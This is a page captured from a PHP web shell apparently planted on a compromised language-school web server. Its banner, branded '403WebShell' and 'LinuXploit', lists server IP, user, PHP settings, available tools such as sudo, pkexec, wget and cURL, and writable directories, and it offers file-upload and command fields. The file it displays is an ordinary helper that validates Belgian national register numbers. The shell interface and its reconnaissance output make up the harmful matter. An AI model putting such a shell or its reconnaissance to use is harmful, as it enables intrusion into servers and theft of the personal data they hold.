Uname:Linux EDL-STRETCH 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

403WebShell
403Webshell
Server IP : 188.114.96.2  /  Your IP : 104.23.197.231
Web Server : Apache/2.4.59 (Debian)
System : Linux EDL-STRETCH 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
User : edlftp ( 1002)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/nicolasj/www/sms.formationlangues.be/application/helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/nicolasj/www/sms.formationlangues.be/application/helpers/validator_helper.php
<?php

if (! defined('BASEPATH')) {
    exit('No direct script access allowed');
}

/**
 * Returns whether a string is a valid identification number.
 *
 * @param string $register_number The clean and valid identification number in machine format.
 *
 * @return bool
 */
function register_number_validity(string $register_number): bool
{
    // Test the register_number has exactly 11 digits.
    if (preg_match('/^\d{11}$/', $register_number) !== 1) {
        return false;
    }

    // Test check part.
    $part1 = (int)substr($register_number, 0, 9);
    $part2 = (int)substr($register_number, 9, 2);

    $check = 97 - ($part1 % 97);
    if ($check !== $part2) {
        $check = 97 - ((2000000000 + $part1) % 97);
        if ($check !== $part2) {
            return false;
        }
    }

    // Test birthday is valid.
    [$year, $month, $day] = extract_birthday_parts($register_number);
    if ($month !== 0 && !checkdate($month, $day, $year)) {
        return false;
    }

    // Test counter. The counter must be between 1 and 998.
    $counter = (int)substr($register_number, 6, 3);
    if (!(1 <= $counter && $counter <= 998)) {
        return false;
    }

    return true;
}

/**
 * Extracts the raw year, month, and day of the birthday of an identification number.
 *
 * @param string $register_number The clean and valid identification number in machine format.
 *
 * @return int[]
 */
function extract_birthday_parts(string $register_number): array
{
    $part1 = (int)substr($register_number, 0, 9);
    $part2 = (int)substr($register_number, 9, 2);

    $check    = 97 - ($part1 % 97);
    $born19xx = ($check === $part2);

    $year  = (int)((($born19xx) ? '19' : '20').substr($register_number, 0, 2));
    $month = (int)substr($register_number, 2, 2);
    $day   = (int)substr($register_number, 4, 2);

    $month = re_adjust_month($month);

    return [$year, $month, $day];
}

/**
 * Adjusts a month by taking into account modifications for bisnummers and self-assigned identification numbers.
 *
 * @param int $month The month.
 *
 * @return int
 */
function re_adjust_month(int $month): int
{
    switch (true) {
        case 0 <= $month && $month <= 12:
            // A normal register_number.
            break;

        case 20 <= $month && $month <= 32:
            // The register_number is a bisnummer and gender is unknown.
            $month -= 20;
            break;

        case 40 <= $month && $month <= 52:
            // The register_number is a bisnummer and gender is known.
            $month -= 40;
            break;

        case 60 <= $month && $month <= 72:
            // The register_number is self assigned.
            $month -= 60;
            break;

        default:
            throw new FallenException('month', $month);
    }

    return $month;
}

Youez - 2016 - github.com/yon3zu
LinuXploit